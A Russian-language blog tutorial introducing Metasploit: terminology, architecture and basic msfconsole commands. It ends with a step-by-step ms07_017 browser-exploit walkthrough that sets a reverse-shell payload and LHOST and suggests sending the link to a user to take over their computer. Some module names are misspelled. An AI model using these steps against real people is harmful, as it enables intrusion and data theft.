Что такое Metasploit? И что нужно знать о нем.
Давайте для начала начнем с того, что же такое этот Metasploit framework и разберемся немного с терминологией, чтоб было понятно что эти слова означают.
И поехали:
Metasploit framework- является полностью бесплатный framework созданный H. D. Moore в 2003 году, который в последствии был куплен Rapid7. Написан этот фреймфорк на языке Ruby. Metasploit обладает крупнейшими базами данных уязвимостей и принимает около миллиона загрузок каждый год. Он также является одним из самых сложных проектов на сегодняшний, написанных на языке Ruby. И сделан для того, чтоб быть в курсе о уязвимостях которые находятся в тех или иных программных обеспечения, чтоб сделать ваш продукт защищеннее чем он может быть.
Уязвимость (Vulnerability) – это слабое место, так сказать пята Ахилеса, которая позволяет злоумышленнику взламывать целевую систему. Уязвимость может существовать в операционных системах, программах, службах и т.д.
Эксплоит (Exploit) – это код с помощью которого злоумышленник может взломать систему, программу и т.п., у которой есть уязвимость. Каждое слабое место имеет свой собственный соответствующий эксплойт.
Payload – это код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.
Давайте попробую показать на картинке для более подробного понимания этих слов.
И так, как мы видим стрелочку с названием Vulnerability, она показывает на уязвимость в холме (под холмом имеем введу ОС, DB и тд), куда может просочиться наш так называемый подготовленный набор скриптов Exploit, который спровоцирует взрыв в нашей системе (а именно доступ к ОС, изменение логики либо передачу данных пользователя удаленно). Ну а в конечном итоге выполним, после отработки злоскрипта, выполним следующий скрипт Payload, то-есть то, что мы хотим, чтоб в этой ОС, DB произошло по нашему. Надеюсь, я донес идею того как работает эта уязвимость.
А теперь перейдем к архитектурному виду нашего framework:
В Metasploit входят различные виды библиотек, которые играют большую роль в функционировании framework. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть framework написана на языке Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.
Далее есть MSF Core библиотека, которая расширяет Rex. Core несет ответственность за выполнение всех необходимых интерфейсов (required interfaces), которые позволяют взаимодействовать с эксплоитами, модулями, сессиями и плагинами.
В Metasploit состоит из четырех так называемых пользовательских интерфейсов:
- msfconsole
- msfcli
- msfgui
- msfweb
Установка Metasploit доступна для всех Linux дистрибутивов , в Linux kaly он идет уже прям из коробки.
Скачайте Metasploit c офф сайта http://www.metasploit.com/download.
Перед тем как начать применять exploits и payloads на целевой машине, вы должны знать основы о них. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.
Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину допустим с помощью утилиты Nmap. О том как пользоваться ним можете прочесть другую мою статью, перейдя по ссылке. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита.
Давайте пробежимся по некоторым командам, которые применяются вместе с эксплоитами:
show payloads и show exploits – эти две команды показывают список доступных эксплоитов и payloads. например:
1 msf exploit(ms03_026_dcom) > show options
2 Module options (exploit/windows/dcerpc/ms03_026_dcom):
3 Name Current Setting Required Description
4 ---- --------------- -------- -----------
5 RHOST yes The target address
6 RPORT 135 yes The target port
search exploit – команда будет искать конкретный эксплоит, например
1 msf > search ms03_026_dcom
2 Matching Modules
3 ================
4 Name Disclosure Date Rank Description
5 ---- --------------- ---- -----------
6 exploit/windows/dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM
use exploit – команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться. например:
1 msf > use exploit/windows/dcerpc/ms03_026_dcom
2 msf exploit(ms03_026_dcom) >
set – эта команда задает значения для параметров/опций в эксплоите, см. след. команду. например:
1 msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102
2 RHOST =>102.168.56.102
3 msf exploit(ms03_026_dcom) >
show targets – каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:
1 msf exploit(ms03_026_dcom) > show targets
2 Exploit targets:
3 Id Name
4 -- ----
5 0 Windows NT SP3-6a/2000/XP/2003 Universal
А теперь можем потренироваться с такой уязвимостью как ms07_017. Которая позволяеть снифферить все данные пользователя, который перешел по ссылке, которую дадим ему. Пример как это делать я показал в видео вверху статьи.
Для начала нам нужно найти ее полный путь поэтому выполним команду:
search ms07_017
Затем заюзать этот эксплоит командой:
use exploit/windows/brouser/ms07_017_ani_loadimage_chunksize
Смотрим информацию о данном эксплоите, что именно нам надо добавить для полноценного пользования. Пишем команду:
show option
Затем видим,что нам нужно задать payload, тоесть ОС на которую будет происходить атака. Для этого используем команду:
set Payload windows/shell/reverse_tsp
Видим также, что от нас требуется задать ip своего компа, по-этому пишем команду + свой айпи:
set LHOST 192.168.52.159
Можем теперь свой айпи кинуть какому-то пользователю и он перейдя на нее передаст нам полностью все свои данные, а так же откроет доступ к своему компьютеру, что дас там возможность даже создавать папки, читать файлы и тд.
И помните все показанное выше, сделано в целях обучения!!!
Можно применять только на своих проектах, после разрешения.